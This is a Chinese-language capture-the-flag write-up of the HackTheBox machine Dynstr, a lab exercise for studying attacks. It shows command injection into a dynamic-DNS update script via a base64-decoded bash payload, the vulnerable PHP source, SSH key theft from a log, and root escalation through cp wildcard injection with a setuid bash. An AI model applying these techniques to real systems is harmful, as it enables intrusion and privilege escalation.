HackTheBox-Dynstr

HackTheBox-Dynstr

pwn

本机IP:10.10.16.3

目标IP:10.10.10.244

写在前面

这台靶机难度中上,由于涉及的知识点是我的盲区,所以花了两天时间才拿下,赶紧记录一下。整个做下来感觉学到了不少,围绕着DDNS为主题设计的靶机,能学的知识有DNS区域、动态DNS更新工具nsupdate的使用、如何在linux中安装和配置DNS服务器、利用通配符进行Linux提权等

信息收集

前期搜集

nmap

nmap

扫描端口开放了22、53、80端口

先从80端口下手看网站提供了哪些功能和信息

web信息

似乎是一个提供动态DNS服务的网站,并给出了服务的域:

dnsalias.htb

dynamicdns.htb

no-ip.htb

dyna.htb(由网页底部dns@dyna.htb获得)

Beta中说网站正在测试模式下运行,并提供了共享凭据:

Username: dynadns

Password: sndanyd

把上述域名加入/etc/hosts

gobuster

网站暂时提供的信息就这么多,用gobuster爆破一下网站目录

1
gobuster dir -u http://dyna.htb -w /usr/share/wordlists/dirb/big.txt -t 200 --wildcard

gobuster发现nic

找到/nic,但是访问/nic发现是空白页

空nic

尝试继续爆破/nic发现/.htpasswd/.htaccess/update

1
gobuster dir -u http://dyna.htb/nic -w /usr/share/wordlists/dirb/big.txt -t 200 --wildcard

gobuster发现update

访问前两者403 ,在/update有所发现,报了一个badauth

badauth

上面获得了共享凭据但是现在不知道哪里可以用,这个页面肯定是有问题的,但是不知道它是如何判断badauth的,卡住

找到突破口

通过Google搜索发现了一些有用的东西

在搜索dynadns时,发现了www.dynu.com,这是一个免费提供动态DNS服务供应商,站内搜索badauth得到如下帖子,从问题回答者的回帖中发现/nic/update后面传了几个参数,应该就是通过参数的内容来判断badauth与否,开始我们获得了一个用户名、密码、邮箱等信息,但和文章中提到的参数还是有点初入,简单尝试发现还是行不通。

又去搜/nic/update,找到了关于no-ip动态dns发送更新的一篇说明

一个基本的发送更新请求的样例:

1
2
3
4
5
6
7
GET /nic/update?hostname=mytest.example.com&myip=192.0.2.25 HTTP/1.1

Host: dynupdate.no-ip.com

Authorization: Basic base64-encoded-auth-string

User-Agent: Company DeviceName-Model/FirmwareVersionNumber maintainer-contact@example.com

其中Authorization的解释如下:

Authorization: base64-encoded-auth-string should be the base64 encoding of username:password.

Authorization为base64加密的username:password,似乎上述所有参数我们都已经有了

模仿示例直接用curl请求得到正确响应(当然可以用Burpsuite)

good回显

在no-ip上找到了对各种相应的解释

Status Description
good IP_ADDRESS Success DNS hostname update successful. Followed by a space and the IP address it was updated to. The IP address returned will be the IPv4 address, if an IPv4 is supplied. If IPv4 and IPv6 are both supplied, both ips will be returned in a comma separated list. If only an IPv6 address is supplied, an IPv6 address (only) will be returned.
nochg IP_ADDRESS Success IP address is current, no update performed. Followed by a space and the IP address that it is currently set to. The IP address returned will be the IPv4 address if an IPv4 is supplied. If IPv4 and IPv6 are both supplied, both ips will be returned in a comma separated list. If only an IPv6 address is supplied, an IPv6 address (only) will be returned. Note: Excessive nochg responses may result in your client being blocked.
nohost Error Hostname supplied does not exist under specified account, client exit and require user to enter new login credentials before performing an additional request.
badauth Error Invalid username password combination.
badagent Error Client disabled. Client should exit and not perform any more updates without user intervention. Note: You must use the recommended User-Agent format specified when Submitting an Update, failure to follow the format guidelines may result in your client being blocked.
!donator Error An update request was sent, including a feature that is not available to that particular user such as offline options.
abuse Error Username is blocked due to abuse. Either for not following our update specifications or disabled due to violation of the No-IP terms of service. Our terms of service can be viewed here. Client should stop sending updates.
911 Error A fatal error on our side such as a database outage. Retry the update no sooner than 30 minutes. A 500 HTTP error may also be returned in case of a fatal error on our system at which point you should also retry no sooner than 30 minutes.

得到一个成功的响应,但对继续深入好像没有什么大的帮助

尝试对myiphostname两个参数进行测试,输入等字符的时候报错了

nsupdate报错

搜索nsupdate发现这是一个动态dns更新程序,既然报错了那么可以猜想Linux系统在执行这个程序时,传入了get到的几个参数,hostname传入一些错误输入会报错,那么这个参数传进去的内容也许可以利用一下(注意:这不是nsupdate本身报错)

反弹shell

(一万年以后)

fuzz命令执行格式为``echo xxx|bash`,注意请求的时候还要进行一次url编码…

1
`echo [base64加密payload]| base64 -d | bash`

nc收到nc收到弹回来的shell(这里可以升级一下shell)

弹shell

当前目录下发现了update的源码= =!!(这代码有问题,没问题也反弹不了shell…)

update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }

if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>

通过/etc/password发现服务器上的用户有rootdynabindmgr,在bindmgr的目录下发现了user.txt但是没权限

dyna

![home dyna](https://blog-jasonttu.oss-cn-hangzhou.aliyuncs.com/img/home dyna.png)

bindmgr

![home bindmgr](https://blog-jasonttu.oss-cn-hangzhou.aliyuncs.com/img/home bindmgr.png)

dyna目录下的 .sudo_as_admin_successful着实迷惑了我很久,做到后来发现确实没什么用,当然这是后话了

bindmgr下还有个support-case-C62796521目录,读取其中的strace-C62796521.txt出来一堆东西,似乎是一个类似运行记录的文件,其中找到了bindmgr的ssh密钥

log文件

![get id_rsa](https://blog-jasonttu.oss-cn-hangzhou.aliyuncs.com/img/get id_rsa.png)

连不上!?

Google搜索:ddns ssh。其中Free Dynamic DNS for Remote Login via SSH启发了我,文中有段他说:选择一个域名添加当前的IP地址。那么我的ip应该不在靶机的dns域内,所以没法用ssh连接

找到了一篇如何在linux中安装和配置DNS服务器,所有 DNS 配置都存储在 /etc/bind 目录下。主要配置是 /etc/bind/named.conf,它将包含其他需要的文件。靶机上确实存在/etc/bind目录(update源码里也有写到),而且其中存在.key为后缀的文件,上面nsupdate的使用方法写到过

1
2
3
4
5
nsupdate [ -d ] [ [ -y keyname:secret ] [ -k keyfile ] ] [ -v ] [ filename ]
-d 调试模式
-k 从keyfile文件中读取密钥信息
-y keyname是密钥的名称,secret是base64编码的密钥
-v 使用TCP协议进行nsupdate,默认UDP协议

keyfile就是指.key后缀的文件,那么思路清晰了,我们可以通过nsupdate来更新DNS区域

什么是DNS区域

DNS 被分成许多不同的区域。这些区域区分 DNS 命名空间中不同管理的区域。 DNS 区域是由特定组织或管理员管理的 DNS 命名空间的一部分。 DNS 区域是一个管理空间,允许对 DNS 组件(例如权威名称服务器)进行更精细的控制。域名空间是一棵分层树,DNS 根域位于顶部。 DNS 区域从树中的一个域开始,也可以向下扩展到子域,以便一个实体可以管理多个子域。

GetShell

nsupdate的示例

1
2
3
4
5
6
7
8
nsupdate示例:
> server 127.0.0.1 //发送请求到指定服务器,不指定就默认发给当当前去的主DNS服务器
> update delete www.test.com A //删除资源记录
>
> update add www.test.cn 80000 IN A 192.168.0.2 //添加一条资源记录
> update add 2.0.168.192.in-addr.arpa 80000 PTR A www.test.com
> send //一个空行或者一个send命令,会将先前输入的命令发送到DNS服务器上
> quit //退出

利用上面update中使用的ddns.key,尝试添加记录的时候被拒绝了

nsupdate1

还有个infra.key,添加记录应该是成功了

nsupdate2

用SSH连接成功,得到user.txt

usertxt

提权

sudo -l发现一个可执行文件bindmgr.sh

sudo-l

查看一下脚本是用来干嘛的

bindmgr.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/ /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi

分开来看这个脚本的功能

1
# Check versioning (.version)echo "[+] Running $0 to stage new configuration from $PWD."if [[ ! -f .version ]] ; then    echo "[-] ERROR: Check versioning. Exiting."    exit 42fiif [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then    echo "[-] ERROR: Check versioning. Exiting."    exit 43fi

检查版本,会检查.version文件是否存在,不存在则报错退出

1
# Create config file that includes all files from named.bindmgr.echo "[+] Creating $BINDMGR_CONF file."printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONFfor file in * ; do    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONFdone# Stage new version of configuration files.echo "[+] Staging files to $BINDMGR_DIR."cp .version * /etc/bind/named.bindmgr/

如果.version文件存在,则创建$BINDMGR_CONF文件,并把在.version同一目录下的所有文件都拷贝到$BINDMGR_DIR。(注意:cp命令用了通配符)

本地没有vim但是有nano,用nano创建一个.version文件随便输入什么版本并执行脚本,到/etc/bind/named.bindmgr目录发现.version文件确实被拷贝进来了而且为root所用拥有

![test sh](https://blog-jasonttu.oss-cn-hangzhou.aliyuncs.com/img/test sh.png)

![exec sh](https://blog-jasonttu.oss-cn-hangzhou.aliyuncs.com/img/exec sh.png)

如果复制一个bash.version同一目录,权限设置为setuid并运行脚本,bash被复制后为root所拥有,似乎就能获得root的shell了,尝试一下

sh前bash

sh后bash

bash虽然被复制了但是s权限没有了,这个问题由于通配符的存在(bindmgr.sh)可以解决,可以参考一下这篇文章利用通配符进行Linux本地提权

当Shell在“参数值”中遇到了通配符时,Shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符实际上就是一种Shell实现的路径扩展功能。在通配符被处理后,Shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

cp --help看看有没有能用来保留s权限的参数,-p参数

cp-p

-p:除复制文件的内容外,还把修改时间和访问权限也复制到新文件中。

那么我们建一个--preserve=mode再运行脚本试试

保留mode

Sbash

成功保留了s权限,可以得到root了

getroot

end